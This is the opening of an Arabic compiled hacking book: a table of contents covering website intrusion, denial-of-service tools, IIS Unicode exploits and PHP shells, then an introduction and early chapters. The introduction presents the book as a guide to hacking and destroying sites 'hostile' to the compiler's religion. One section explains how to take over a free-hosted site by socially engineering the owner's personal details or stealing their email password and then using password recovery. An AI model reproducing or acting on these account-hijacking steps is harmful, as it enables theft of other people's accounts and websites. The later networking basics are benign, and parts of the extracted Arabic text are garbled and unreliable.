اروع كتاب عن الهكر 400 صفحة عربي

‫المحتويات‬ ‫المقدمة‪.‬‬ ‫‪.1‬‬ ‫الفهرس‪.‬‬ ‫‪.2‬‬ ‫مقدمة عامة عن الهاكر‪.‬‬ ‫‪.3‬‬ ‫كيفية البحث في النترنت‪.‬‬ ‫‪.4‬‬ ‫مفاهيم خاصة بشبكات النترنت )الجزء‬ ‫‪.5‬‬ ‫اللول(‪.‬‬ ‫مفاهيم خاصة بشبكات النترنت )الجزء‬ ‫‪.6‬‬ ‫الثاني(‪.‬‬ ‫المن عبر النترنت‪.‬‬ ‫‪.7‬‬ ‫أمن الشبكات‪.‬‬ ‫‪.8‬‬ ‫مصطلحات مهمة للمبتدئين في اختراق‬ ‫‪.9‬‬ ‫المواقع‪.‬‬ ‫‪ .10‬اختراق المواقع للمبتدئين‪.‬‬ ‫‪ .11‬الختراق ببرنامج ‪Webcrack.‬‬ ‫‪ .12‬الختراق ببرنامج ‪MungaBunga.‬‬ ‫‪ .13‬برنامج تدمير المواقع ‪.WinSmurf‬‬ ‫‪ .14‬شرح برنامج ‪ Evil Ping‬لتدمير المواقع‪.‬‬ ‫‪ .15‬برنامج الدرة لتدمير المواقع‪.‬‬ ‫‪ .16‬تدمير المواقع بدلون برامج‪.‬‬ ‫‪ .17‬التلنت‪.‬‬ ‫‪ .18‬معلومات عن ‪.DNS‬‬ ‫‪1‬‬

‫‪ .19‬معلومات عن ‪Routing in the‬‬ ‫‪.Internet‬‬ ‫‪.NETBIOS .1‬‬ ‫‪ .2‬برلوتوكول خدمة ‪.Finger‬‬ ‫‪ Net .3‬شرح مختصر لادارة الشبكة بإستخدام المر‪.‬‬ ‫‪ .4‬شرح الـ‪secure shell.‬‬ ‫‪ .5‬شرح معنى الـ ‪Buffer Overflows.‬‬ ‫‪ .6‬الـ ‪ CGI‬لوعلقتها بالنترنت‪.‬‬ ‫‪ .7‬كيف تحمي نفسك لوتخفي أفعالك؟!‪.‬‬ ‫‪ .8‬كيف تبقى مجهول الهوية في النت )الجزء‬ ‫اللول(؟؟‪.‬‬ ‫‪ .9‬كيف تبقى مجهول الهوية في النت )الجزء‬ ‫الثاني(؟؟‪.‬‬ ‫‪ .10‬برنامج ‪ HTTP Port‬الذي يجعلك تتصفح النت‬ ‫متخفيا!‪.!ً.‬‬ ‫‪ .11‬شرح برنامج ‪NeoTrace.‬‬ ‫‪ .20‬كيفية القيام بجمع المعلومات عن موقع ألو‬ ‫شبكة‪.‬‬ ‫‪ .21‬برنامج عمران سكان للبحث عن الثغرات‪.‬‬ ‫‪ .22‬الختراق عن طريق اليونيكواد )الجزء اللول(‪.‬‬ ‫‪ .23‬الختراق عن طريق اليونيكواد )الجزء‬ ‫الثاني(‪.‬‬ ‫‪2‬‬

‫‪ .24‬معلومات عامة عن كيفية الستفاادة من ثغرات‬ ‫اليونيكواد‪.‬‬ ‫‪ .25‬الدليل الكامل لختراق سيرفر ‪.IIS‬‬ ‫‪ .26‬ادراسة مفصلة لوبعمق في الـ ‪UniCode.‬‬ ‫‪ .27‬تدريب على عملية الختراق بواسطة‬ ‫اليونيكواد‪.‬‬ ‫‪ .28‬شرح مفصل لكيفية اختراق المواقع المجانية‪.‬‬ ‫‪ .29‬ادرس مفصل عن الكوكيز‪.‬‬ ‫‪ .30‬شرح برنامج السطورة ‪God Will‬في‬ ‫تلغيم الصفحات‪.‬‬ ‫‪ .31‬لواداع‪ً.‬ا للبرنامج السطورة لومرحبا ببرنامج‬ ‫‪.NOOP4‬‬ ‫‪ .32‬معلومات مهمة عن المواقع التي تدعم‬ ‫الفرلونت بيج‪.‬‬ ‫‪ .33‬اختراق المواقع التي تدعم الفرلونت بيج‪.‬‬ ‫‪ .34‬الختراق العشوائي‪.‬‬ ‫‪ .35‬الطريقة الصحيحة لوالمثلى في اختراق‬ ‫المواقع‪.‬‬ ‫‪ .36‬نبذه يسيرة لومبسطة عن كيفية اختراق‬ ‫المواقع‪.‬‬ ‫‪>) .37‬س&ج<( في اختراق المواقع للمبتدئين‪.‬‬ ‫‪ .38‬برنامج ‪ CgiScaner‬للبحث عن الثغرات‪.‬‬ ‫‪3‬‬

‫‪ .39‬شرح برنامج سوبر سكان لمعرفة المنافذ‬ ‫المفتوحة في المواقع‪.‬‬ ‫‪ .40‬شرح برنامج ‪Shadow Scan Security‬‬ ‫لتحليل الموقع‪.‬‬ ‫‪ .41‬اماكن لوجواد ملف الباسوراد في أنظمة‬ ‫التشغيل‪.‬‬ ‫‪ .42‬اختراق الموقع )الجزء اللول(‪.‬‬ ‫‪ .43‬اختراق المواقع )الجزء الثاني(‪.‬‬ ‫‪ .44‬اختراق المواقع )الجزء الثالث(‪.‬‬ ‫‪ .45‬ادرس في اختراق المواقع )متوسط(‪.‬‬ ‫‪ .46‬شرح ملف ‪.htaccess‬‬ ‫‪ .47‬نظام نقل الملفات ‪FTP.‬‬ ‫‪ .48‬الختراق عن طريق ‪FTP.‬‬ ‫‪ .49‬اختراق الـ ‪.SQL‬‬ ‫‪ .50‬ادرس مفصل عن الـ‪SQL.‬‬ ‫‪ .51‬ادرس لحتراف الهاك في اختراق المواقع‪.‬‬ ‫‪ .52‬استغلل لينكس في اختراق المواقع‪.‬‬ ‫‪ .53‬ادرس اخر في اختراق المواقع عن طريق‬ ‫لينكس‪.‬‬ ‫‪ .54‬شرح مفصل من اللف إلى الياء في احتراف‬ ‫اختراق المواقع عن طريق لينكس‪.‬‬ ‫‪ .55‬ادرس عن الـ ‪) PHP Shell‬الجزء اللول(‪.‬‬ ‫‪4‬‬

‫‪ .56‬ادرس عن الـ ‪) PHP Shell‬الجزء الثاني(‪.‬‬ ‫‪ .57‬ادرس عن الـ ‪) PHP Shell‬الجزء الثالث(‪.‬‬ ‫‪ .58‬شرح أاداة ‪.anmap‬‬ ‫‪ .59‬طريقة لقتحام السيرفرات بدلون ثغرات‪.‬‬ ‫‪.Cross Site Scripting .60‬‬ ‫‪ .61‬كواد تدمير سجل الزلوار‪.‬‬ ‫‪ .62‬لوضع فايرلوس في صفحة‪.‬‬ ‫‪ .63‬الثغرااات‪.‬‬ ‫‪ .64‬شرح شبه مفصل عن الثغرات‪.‬‬ ‫‪ .65‬كيف تستخدم الثغرات‪.‬‬ ‫‪ .66‬تمتع بإختراق المواقع السرائيلية مع هذه‬ ‫الثغرة‪.‬‬ ‫‪ .67‬ثغرة نيوك‪.‬‬ ‫‪ .68‬ثغرة ‪.Chunked‬‬ ‫‪ .69‬حماية المنتديات‪.‬‬ ‫‪ .70‬اختراق المنتديات من نوع‬ ‫‪.vBulletin2,2,0‬‬ ‫‪ .71‬ادرس مفصل عن كيفية اختراق المنتديات‬ ‫لوطرق حمايتها‪.‬‬ ‫‪ .72‬ثغرة في منتديات ‪.vBulletin 2,2,9‬‬ ‫‪ .73‬اختراق منتديات ‪.phpbb 2.0.0‬‬ ‫‪ .74‬ثغرة في ‪. php nuke‬‬ ‫‪5‬‬

‫‪.75‬‬ ‫‪.76‬‬ ‫‪.77‬‬

‫أفضل المنتديات لوالمواقع العربية للهاك‪.‬‬ ‫أفضل مواقع المن لوالهاك النجليزية‪.‬‬ ‫الخاتمة‪.‬‬

‫بسم الله الرحمن الرحيم‬ ‫‪6‬‬

‫الحمد لله رب العالمين الرحمن‬ ‫الرحيم والصل ة والسل م على‬ ‫أشرف البنبياء‬ ‫والمرسلين بنبينا محمد عليه أفضل‬ ‫الصل ة وأتم التسليم‪،‬‬ ‫أما بعد‪...‬‬ ‫ارجوا من العلي القدير أن يوفقني‬ ‫في كتابة هذا الكتاب الذي سيكون‬ ‫مرجعا ً لوخوابني وأوخواتي المسلمين‪،‬‬ ‫ففي هذا الكتاب سأقو م بنقل كل‬ ‫ما‬ ‫كتب في اوختراق المواقع وتدميرها‬ ‫عن أوخوابني المسلمين من كيفية‬ ‫الوختراق بالبرامج وبغيرها للمواقع‬ ‫المعادية لديننا الحنيف‪،،،‬‬

‫‪7‬‬

‫وارجوا من القراء الدعاء في ظهر‬ ‫الغيب لجامع هذا الكتاب‪.‬‬

‫ملحظة‪ :‬مواضيع هذا الكتاب ليس‬ ‫من تأليفي إبنما هي بنقل ً عن‬ ‫اوخوابني‬ ‫المسلمين‪.‬‬ ‫اقرأ هذا اول ً قبل البدء بقراء ة‬ ‫مواضيع هذا الكتاب"اقسم بالله‬ ‫العلي العظيم‬ ‫الذي رفع السماء بل عمد أل اقو م‬ ‫بتطبيق ما في هذا الكتاب من طرق‬ ‫على مواقع اوخوابني المسلمين وأن‬ ‫ابنفعهم قدر ما استطيع"‬ ‫والله الموفق‪،،،‬‬ ‫‪8‬‬

‫"من هم الهاكر "‬ ‫الهكرز هم اشخاص مخترقون لهجهزة الغير بمساعدة‬ ‫احدى برامج التختراق المشهورة إعتما ًد على برامج‬ ‫مساندة تسهل عملية التصال بين الحاسبين تسمى‬ ‫‪.‬بالباتش اوالسيرفر‬ ‫كيف يتم اتختراق مواقع النترنت؟؟‬‫هذا السؤال الذي دفع الكثيرين الي البحث والبحار في‬ ‫عالم النت‬ ‫هناك انواع من الصفحات والسرفرات التي توفر مواقع‬ ‫مجانية‬ ‫‪9‬‬

‫النوع الول‬ ‫سيرفرات تحتفظ ببياناتك واذا نسيت او لم تتذكر‬ ‫باسوورد موقعك فانها سوف تطلب منك بياناتك‬ ‫الشخصية‬ ‫السرية التي ل يعلمها ال انت مثل‬ ‫اسمك الحقيقي الكامل‬ ‫عمرك وميلدك‬ ‫من اي بلد انت‬ ‫وتختلف الدقة من سيرفر الي سيرفر آتخر‬ ‫النوع الثاني‬ ‫سيرفرات تحتفظ ببياناتك واذا اضعت الباسوورد او‬ ‫نسيته فانها تطلب منك فقط الضغط علي ايكون مكتوب‬ ‫عليه‬ ‫))نسيت الباسوورد((‬ ‫ومن ثم يرسلون الباسوورد الي اليميل الخاص بك‬ ‫‪..............................................................‬‬ ‫‪.....‬‬ ‫هذا النوع يسهل اتختراقه اذا عرفت بيانات الشخص‬ ‫واستطعت التحدث معه بشتي الطرق وباسلوب لبق‬ ‫وما ان تعرف بياناته‬ ‫‪10‬‬

‫الشخصية حتي يمكنك ان تذهب الي صفحته الخاصه‬ ‫والضغط علي ايكون انك نسيت الباسوورد وادتخال‬ ‫البايانات الخاصة‬ ‫‪ ...‬ومن ثم تغيير الباسوورد‬ ‫وتغيير بيانات صاحب الصفحة الخاصة والسرية‬ ‫‪..........................‬‬ ‫النوع الثاني‬ ‫هذا النوع مهما حاولت سرقة الباسوورد فانك‬ ‫لتستطيع ان تمتلك الصفحة لمدة طويلة لن الشركة‬ ‫سوف ترسل اليه الباسوورد‬ ‫‪ ..‬الجديد ‪ ..‬ومن هنا سيعرف الباسوورد ورقمه الجديد‬ ‫وسيتم اعادة ملكيته الي الصفحة او الموقع مره أتخري‬ ‫!!!‬ ‫(( اذا كيف الحل ؟؟‬ ‫‪ ..‬الحل هو‬ ‫ان تعرف باسوورد اليميل الخاص به وحين تعرف‬ ‫الباسوورد سيمكنك الذهاب الي الشركة وكتابة انك‬ ‫نسيت الباسوورد للموقع‬ ‫فسيتم اتخطارك علي اليميل الذي سرقته ‪ ..‬بالباسوورد‬ ‫‪11‬‬

‫‪ ..‬للموقع‬ ‫‪.‬ومن هنا يمكنك سرقتة وملكيته وانت بسل‪.‬م‬ ‫‪،،،‬انتهى‬

‫"كيفية البحث في البنتربنت"‬

‫>منقول من منتديات شبكة الحز‪.‬م السلمية <‬ ‫> الكاتب‪ :‬بلك هنتر <‬ ‫كيفية البحث في النترنت ؟‬ ‫عندما نسمع عن برنامج ما او عن مشكلة ما او اي‬ ‫شيء في النترنت ونريد البحث عنها كيف يتم ذلك ؟؟‬ ‫غالبا نجد ان الشباب ل يقدر ان يقو‪.‬م بالبحث في‬ ‫منتدى فما بالك بمسئله تريد البحث عنها في النترنت‬ ‫؟ وقد تجده يبحث ولكن ل يحصل بنتيجه والخطأ ليس‬ ‫في البحث‬ ‫بل في طريقة البحث‬

‫‪12‬‬

‫صنعت محركات البحث حتى تساعدك في الوصول الى‬ ‫ما تريد باقصر وقت ممكن ولكن عليك ان تعلم ان‬ ‫محركات البحث لكل منها عمل مع العلم انها عامه‬ ‫ولكن‬ ‫ما هي النتائج ؟؟‬ ‫بالنسبه مثل للجوهجل انا اعتبره المحرك الذكي فهو‬ ‫يعرف ماذا كتبت فلذلك يعطيك النتائج الولى وهي‬ ‫غالبا التي تريدها‬ ‫بالنسبه للياهو هو ايضا ذكي ولكن ذكائه تجاري بحت‬ ‫حيث انه يقد‪.‬م لك المواقع التجاريه التي تقد‪.‬م ما تريد‬ ‫والتي يتعامل معها المحرك ثم المواقع التجاريه التي ل‬ ‫يتعامل‬ ‫معها المحرك ثم المواقع العامه وهي ما ترده انت‬ ‫احيانا‬ ‫اعتقد ان المسئله وضحت‬ ‫يا اتخوان انا ابغى ابحث عن برنامج ما مثل يجب علي‬ ‫ان اتخطط للبحث قبل ان اذهب الى المنتديات واسئل‬ ‫لز‪.‬م انت تتعلم كيف تبحث‬ ‫وش الفرق بينك وبين النسان اللي هيجيبلك المعلومه‬ ‫‪13‬‬

‫من المنتدى ؟ هل يملك ريشه على دماغه ؟؟؟ ل اعتقد‬ ‫ذلك‬ ‫هل النترنت لديه سريعه للغايه وانت بطئيه للغايه ؟‬ ‫ايضا ل اعتقد ذلك مع العلم ان السرعات العاليه اثبتت‬ ‫فشلها بالنسبه لبعض الشخاص‬ ‫التي ل تعرف كيف توظف عقولها‬ ‫كنت مره في حديث مع صديق لي بدوله عربيه في‬ ‫الخليج وكان يحدثني بصراحه ويقول لي وال يا اخ‬ ‫بلك انا الن لي سنه كامله على النترنت‬ ‫غير محدد بباندويث وبسرعة ‪ ISDN 256‬مع تخط‬ ‫ول اعرف من برامج التختراق غير الهاك اتاك‬ ‫فعل انا تحطمت سنه كامله ومعك القوه الضاربه هذه‬ ‫ول تعرف غير الهاك اتاك ؟ قلتلله انت اكيد وقتك ما‬ ‫بين مواقع الغاني والفل‪.‬م والداون لود لها والشات‬ ‫قال ايوال هذا هو انا‬ ‫وبذلك فعل ايقنت ان السرعه ليست كل شيء‬ ‫اهم شي عقلية من يملك السرعه فالسل ح الذي ل‬ ‫‪.‬تستطيع استخدامه ‪ -‬ل ينفع ‪ - (:‬ا هـ‬ ‫‪14‬‬

‫‪ :‬الن سنقو‪.‬م بشر ح كيفية التخطيط للبحث‬ ‫طريقه بسيطه هجدا وهي عبر تقسيم المواقع‬ ‫مواقع تجاريه‬ ‫)) مواقع برامج )) ويندوز ‪ -‬ليونكس‬ ‫مواقع ملتيميديا‬ ‫مواقع سياسيه واتخباريه‬ ‫مواقع هاك‬ ‫مواقع كراك‬ ‫مواقع سكيوريتي‬ ‫مواقع هاردوير‬ ‫منتديات‬ ‫)) محرك بحث هجوهجل )) هذا لوحده عالم‬ ‫مواقع ‪ .....‬الخ‬ ‫الن لنأتخذ ما نبحث عنه‬ ‫مثل برنامج ؟ بسيطه هجدا ؟ وش يخليني ارو ح ابحث‬ ‫مثل في الياهو ؟؟؟ وش يخليني ابحث بمحرك عا‪.‬م‬ ‫؟؟؟؟ او حتى وش يخليني ارو ح ابحث بالقوقل ؟؟؟‬ ‫تخلص بما انه برنامج انطلق فورا الى مواقع البرامج‬ ‫‪15‬‬

‫امثال زد دي نت ‪ -‬ويب اتاك ‪ -‬داون لود ‪ -‬وغيرها‬ ‫وبالنسبه لليونكس فهناك موقع انا اعتبره انه اقوى‬ ‫من موقع داون لود في برامجه للويندوز‬ ‫وهو موقع فريش ميت )) اتخر الموضوع ساضع كل‬ ‫)) تلك المواقع كمرهجع‬ ‫بعد ان بحثت ولم اهجد البرنامج ماذا افعل ؟ هل انتهى‬ ‫العمل ؟ ل لم ينتهي بعد اذهب الى الجوهجل وابحث عن‬ ‫ما تريد وابدا بقرائه النوتس الذي يخبرك ماذا تحوي‬ ‫هذه الصفحه‬ ‫واذا وهجدت ما تريد ادتخل اليها‬ ‫لم تجد ؟؟ )) ما اعتقد انك ما هتلقي اللي تدور عليه‬ ‫انا عمري ما سويت هالطريقه ال واهجد ما اريد ((‬ ‫ولكن لنفرض انك لم تجد ؟ ماذا ستفعل ؟ اذهب الى‬ ‫المنتديات وابحث‬ ‫قبل ان تسأل واذالم تجد وقتها بامكانك السوال‬ ‫بالمنتدى‬ ‫هذه نقطه نقطة اتخرى مثل انت منت عارف اللي انت‬ ‫تبحث عنه بالظبط‬ ‫‪16‬‬

‫مثل انا ادور على ثغره عارف نوعها ولكن ماني‬ ‫عارف موهجوده في وش‬ ‫‪ Cross Site Scripte‬ولتكن مثل ثغرات الـ‬ ‫‪ CSS‬او ‪ XSS‬واللي اتختصارها‬ ‫انا ما ادور على الثغره ادور على اكسبلويت مثل وش‬ ‫اسوي ؟؟؟‬ ‫‪ XSS‬اذهب اول لمواقع السكيوريتي ابحث عن كلمة‬ ‫هيطلعللك كل شي عنها ابدا ابحث فيما تريد وفي نفس‬ ‫الوقت اذهب الى الجوهجل مثل وابحث عن‬ ‫ولكن هذا ل يكفي انا ابغى شي بعينه والجوهجل ‪XSS‬‬ ‫مو زي مواقع السكيوريتي هتجيب شي بسيط ل‬ ‫الجوهجل هيجيب بلوي ولذلك علي بتحديد البحث عبر‬ ‫) ‪ ( +‬علمه‬ ‫يعني انا ادور بجز وادور اكسبلويت وادور باسم الثغره‬ ‫‪ :‬فعلي ان اكتب‬ ‫‪XSS+BUG+EXPLOIT‬‬ ‫‪ :‬هاكتب ‪ IIS‬مثل ادور ثغرات‬ ‫‪IIS+exploit+bug‬‬ ‫تخليه يطلعللك كل شي عن المسئله اللي تبحث عنها‬ ‫اهم شي انه يجيبلك مواضيع في ما تبحث عنه‬ ‫‪17‬‬

‫ومن ثم المنتديات ومن ثم الكتابه عن ما تريد اذا لم‬ ‫تجد‬ ‫اهم شي بالنقطه التخطيط للبحث‬ ‫عن ماذا ابحث ؟ موضوع يتعلق ببرنامج ؟ ويندوز‬ ‫وال ليونكس ؟ رتب المواقع ‪ :‬ابدا البحث‬ ‫عن ماذا ابحث ؟ موضوع يتعلق بالشوبرينج ؟ رتب‬ ‫المواقع ‪ :‬ابدا البحث‬ ‫وهكذا‬ ‫الن ساضع لكم مجموعه من المواقع تفيدكم هجدا‬ ‫‪ : http://www.google.com/‬الملك هجوهجل‬ ‫‪ :‬محركات بحث عاديه ومتقدمه‬ ‫ ‪http://www.yahoo.com/‬‬‫ ‪http://www.altavista.com/‬‬‫ ‪http://www.lycos.com/‬‬‫‪http://hotbot.lycos.com/‬‬ ‫‪18‬‬

‫ )) عبر برامجها مثثل الكازا او‬: ‫مواقع ملتيميديا‬ ‫م اس‬.‫)) المورفيس او اوديو هجالكسي او وين ا‬ kazaa - WinMX ‫الكثر شهره‬ ‫ مواقع سياسيه واتخباريه‬: http://news.bbc.co.uk/hi/arabic/new s - http://arabic.cnn.com/ http://www.aljazeera.net/ ‫ مواقع سكيوريتي‬: http://www.securiteam.com/ http://www.securityfocus.com/ http://www.ussrback.com/ http://www.ntbugtraq.com/ http://www.ntsecurity.nu/ http://www.ntsecurity.com/ ‫ مواقع هاردوير‬: http://nvidia.com/ http://www.asus.com/ http://drivers.on-line.net.nz/ http://intel.com/ 19

‫‪http://www.amdmb.com/‬‬ ‫‪،،،‬انتهى‬

‫مفاهيم وخاصة بشبكات البنتربنت"‬ ‫"))الجزء الول‬ ‫‪20‬‬

‫>منقول <‬ ‫> الكاتب‪ :‬عصا‪.‬م الوقيت <‬ ‫النترنت عالم مليء بالفائدة‪ ،‬مليء بالمتعة‪ ،‬عالم يجد‬ ‫فيه كل إنسان ما يهمه‪ ،‬باتختلف مجالت الهتما‪.‬م‬ ‫واتختلف الشخاص‪ .‬ولكن على الرغم من كثرة‬ ‫الشياء المفيدة في النترنت إل أنه لبد من وهجود ما‬ ‫يكدر الصفو‪ .‬هذا الكدر نسميه "الهاكرز" أو من‬ ‫يسمون بالمخترقين في بعض الحيان‪.‬‬ ‫من هم الهاكرز ؟ وما هي أهدافهم ؟ وكيف نتقي شرهم‬ ‫؟ أسئلة ل بد أنها دارت في رأس أكثر المستخدمين في‬ ‫مختلف أنحاء العالم‪ ،‬ول سيما أولئك المستخدمين‬ ‫الذين طالهم أذى الهاكرز سواء بسرقة معلومات من‬ ‫أهجهزتهم أو إتلف محتوياتها أو في أهون الحوال‬ ‫إتخافتهم وإرعابهم‪.‬‬ ‫الهاكر الطيب سلسلة من الحلقات نقدمها لك أتخي‬ ‫القارئ‪ ،‬كوسيلة تعليمية لكل المستخدمين على مختلف‬ ‫مستوياتهم لكي يتعلموا كيف يتقون شرور هؤلء‬ ‫الهاكرز ولكي يعرفوا الحيل التي يستخدمها الهاكرز‬ ‫للحاق الذى بهم‪ .‬باتختصار ستكون أتخي القارئ أحد‬ ‫هؤلء الهاكرز‪ ،‬ولكن لن تكون مثلهم في الشر‪..‬بل‬ ‫ستكون الهاكر الطيب‪.‬‬ ‫‪21‬‬

‫مقدمة‪:‬‬ ‫هذه الحلقة ستكون مخصصة لتقديم بعض المهارات‬ ‫والمعلومات الساسية التي يجب أن يعرفها كل من‬ ‫يريد اتقاء شر الهاكرز‪ ،‬وهي بعض المصطلحات‬ ‫والمفاهيم الخاصة شبكات الحاسب اللي‪.‬‬ ‫رقم ‪IP‬‬ ‫ما الغرض من بطاقة الحوال المدنية التي تحملها ؟‬ ‫انها مجرد وسيلة لتمييزك وتعريفك‪ .‬فالرقم الموهجود‬ ‫على بطاقتك يستحيل تكراره لي مواطن آتخر في نفس‬ ‫البلد‪.‬‬ ‫نفس المبدأ ينطبق في مجال الحاسب اللي من ناحية‬ ‫الشبكات‪ ،‬فلتمييز الهجهزة المرتبطة بشبكة واحدة‬ ‫يعطى لكل هجهاز رقم مميز يستحيل تكراره في أي‬ ‫هجهاز آتخر مرتبط بنفس الشبكة وهذا الرقم هو ما‬ ‫يسمى بعنوان الجهاز أو ‪.IP‬‬ ‫في حالة الشبكات الدائمة والتي يكون الجهاز مرتبطا‬ ‫بالشبكة بواسطة أسلك الشبكة‪ ،‬يكون هذا الرقم ثابتا‬ ‫للجهاز دائما‪ .‬مالم يتم نزع الجهاز من الشبكة بشكل‬ ‫دائم‪ ،‬ولكن في حالة التصال الهاتفي فإن عنوان‬ ‫الجهاز يتغير كلما اتصلت على موفر الخدمة الذي‬ ‫‪22‬‬

‫تدتخل للشبكة من تخلله‪.‬‬ ‫لعلك الن تتساءل كيف أعرف عنوان هجهازي عندما‬ ‫أتصل بالنترنت؟ المر سهل هجدا من شريط المها‪.‬م في‬ ‫الوندوز انقر على ‪ Start‬ثم ‪ run‬ثم أدتخل‬ ‫‪ .winipcfg‬إذا كنت تستخد‪.‬م وندوز باعتماد اللغة‬ ‫العربية اتختر "ابدأ" ثم "تشغيل" ثم اكتب‬ ‫‪.winipcfg‬‬ ‫توزيع أرقا‪.‬م الـ ‪IP‬‬ ‫هل سبق وأن تساءلت لماذا كان رقم ‪ IP‬الخاص بك‬ ‫هو ‪ 212.33.40.1‬وليس ‪ ،24.5.66.3‬وهل سبق‬ ‫وأنت تساءلت لماذا تبدأ ارقا‪.‬م الـ ‪ IP‬في السعودية‬ ‫بالرقم ‪ 212‬وليس بأي رقم آتخر ؟ في الحقيقة إن‬ ‫أرقا‪.‬م ‪ IP‬ليتم توزيعها بطريقة عشوائية أو بطريقة‬ ‫"ك ٌل يأتخذ ما يريد" بل بالعكس يوهجد هناك منظمات‬ ‫تشرف على توزيع أرقا‪.‬م ‪ IP‬على الدول والمؤسسات‬ ‫داتخل الدول بحيث يتم معرفة الجهة عند معرفة رقم ‪IP‬‬ ‫الذي تمتلكه‪.‬‬ ‫تشرف منظمة ‪IANA(Internet Assigned‬‬ ‫‪ (Numbers Authority‬على توزيع أرقا‪.‬م ‪IP‬‬ ‫على مستوى العالم‪ ،‬حيث أنها تقو‪.‬م بالشراف على‬ ‫ثلث منظمات فرعية وتكون كل منظمة مسؤولة عن‬ ‫‪23‬‬

‫هجزء معين من العالم وهذه المنظمات الفرعية هي‪:‬‬ ‫‪ -1‬منظمة ‪ARIN (American Registry for‬‬ ‫‪ (Internet Numbers‬وتشرف على أمريكا‬ ‫الشمالية والجنوبية والمناطق الكاريبية وأهجزاء من‬ ‫افريقيا‬ ‫‪ -2‬منظمة ‪RIPE (Réseaux IP‬‬ ‫‪ (Européens‬وتشرف على منطقة أوروبا والشرق‬ ‫الوسط وأهجزاء من افريقيا‬ ‫‪ -3‬منظمة ‪APNIC (Asia Pasific Network‬‬ ‫‪ (Information Center‬وتشرف على آسيا‬ ‫تقو‪.‬م كل منظمة بالشراف على توزيع ارقا‪.‬م ‪ IP‬للدول‬ ‫الواقعة تحت مجال اشرافها‪ .‬ويوهجد لكل منظمة قاعدة‬ ‫بيانات تمكنك من معرفة صاحب رقم ‪ IP‬معين وتسمى‬ ‫هذه الخدمة بخدمة ‪ whois‬حيث تقو‪.‬م بإدتخال رقم ‪IP‬‬ ‫التابع لمنظمة معينة وستحصل على معلومات عن من‬ ‫يمتلك هذا ‪ IP‬فمثل لمعرفة صاحب رقم ‪ IP‬معين في‬ ‫المملكة العربية السعودية قم بالذهاب للموقع‬ ‫‪http://www.ripe.net/db/whois.html‬‬ ‫وأدتخل رقم ‪ IP‬وستحصل على معلومات متكاملة عن‬ ‫صاحب هذا الرقم‪.‬‬ ‫‪24‬‬

‫عائلة الـ ‪IP‬‬ ‫من المعروف أن رقم الـ ‪ IP‬يتكون من أربعة أقسا‪.‬م‬ ‫كالتالي ‪ 10.10.10.1‬كل قسم من هذه القسا‪.‬م يمكن‬ ‫أن تكون له قيمة تتراو ح بين ‪ 0‬و ‪) 255‬مع وهجود‬ ‫بعض الستثناءات التي ليس هذا المجال لذكرها(‬ ‫الشيء الذي يجب معرفته أن أول ثلثة أقسا‪.‬م من‬ ‫الجهة اليسرى من رقم ‪ IP‬غالبا ما تكون محجوزة‬ ‫لمزود تخدمة معين بحيث تكون هجميع أرقا‪.‬م ال ‪ IP‬التي‬ ‫يتشابه بها أول ثلثة أقسا‪.‬م من الجهة اليسرى تنتمي‬ ‫لنفس مزود الخدمة‪ .‬فمثل الجهاز الذي يحمل رقم ‪IP‬‬ ‫‪ 212.26.75.34‬والجهاز الذي يحمل رقم ‪IP‬‬ ‫‪ 212.26.75.201‬غالبا ما ينتميان لنفس مزود‬ ‫الخدمة‪.‬‬ ‫ولمعرفة مزود الخدمة بواسطة رقم ‪ IP‬الثلثي )أي‬ ‫رقم ‪ IP‬بدون آتخر رقم من الجهة اليمنى ( يمكنك‬ ‫زيارة موقع المنظمة المشرفة على البلد الذي ينتمي له‬ ‫رقم ‪ IP‬واستخدا‪.‬م تخدمة ‪ whois‬الخاصة بها‪ .‬فمثل‪،‬‬ ‫لمعرفة مزود الخدمة في المثال أعله قم بالذهاب‬ ‫للموقع‬ ‫‪http://www.ripe.net/db/whois.html‬‬ ‫وأدتخل الرقم ‪ 212.26.75‬في المربع الموهجود في‬ ‫‪25‬‬

‫الصفحة ومن ثم انقر الزر ‪ search‬وستحصل على‬ ‫هجميع المعلومات المخزنة عن مزود الخدمة‪.‬‬

‫المنفذ ‪Port‬‬ ‫ماهو المنفذ ؟ تخيل منزل فيه العديد من البواب وأن‬ ‫كل واحد من هذه البواب مخصص لخدمة معينة ‪،‬‬ ‫فباب لستقبال الضيوف وباب آتخر للخد‪.‬م وباب آتخر‬ ‫لدتخول الخدمات‪.‬نفس المبدأ ينطبق على الحاسب اللي‬ ‫فالجهاز يحتوي على العديد من الخدمات مثل تخاد‪.‬م‬ ‫الويب ‪ web server‬وتخاد‪.‬م الملفات ‪ftp server‬‬ ‫وغيرها‪ .‬فكل تطبيق لديه منفذ معين يستخدمه لرسال‬ ‫‪26‬‬

‫واستقبال بياناته وهذا نوع من التنظيم فمثل تخدمة‬ ‫الويب غالبا ما تكون على المنفذ ‪ 80‬وتخدمة الملفات‬ ‫تكون على المنفذ ‪ 21‬وبرنامج النت ميتنغ يكون على‬ ‫عدة منافذ منها ‪ 1720‬وكل تطبيق يكون له منفذ‬ ‫معين‪ .‬فبالتالي عندما تأتي بيانات للجهاز على منفذ‬ ‫معين فسوف يعرف الجهاز لي تطبيق تنتمي هذه‬ ‫البيانات ويقو‪.‬م بإرسالها لهذا التطبيق الذي يقو‪.‬م‬ ‫بمعالجتها‪.‬‬ ‫‪ DNS‬ماهو ؟‬ ‫أنت بالطبع تتذكر أسماء أصدقائك ول تواهجه أي‬ ‫مشكلة في استرهجاعها من ذاكرتك ولكن ماذا عن أرقا‪.‬م‬ ‫هواتفهم ؟كم رقما تحفظ منها ؟ اثنان ؟ عشرة؟ مهما‬ ‫كانت ذاكرتك هجيدة فلن تستطيع حفظ أرقا‪.‬م هواتفهم‬ ‫كلها وإن فعلت فتبقى الحقيقة أن نسيان الرقا‪.‬م أكثر‬ ‫سهولة من نسيان السماء‪ .‬من هذا المبدأ هجاءت فكرة‬ ‫‪ .DNS‬حيث أنه في بداية استخدا‪.‬م النترنت كان من‬ ‫المفروض أن تحفظ عنوان الجهاز ‪ IP‬لكل موقع ‪..‬‬ ‫فمثل لزيارة موقع ‪ CNN‬يجب أن تكتب‬ ‫‪ 207.145.53.10‬بدل من ‪www.cnn.com‬‬ ‫ومن ثم لحظ تخبراء الحاسب أن ذلك سيكون صعبا هجدا‬ ‫‪ ..‬فالذاكرة البشرية غير قادرة على حفظ الكثير من‬ ‫‪27‬‬

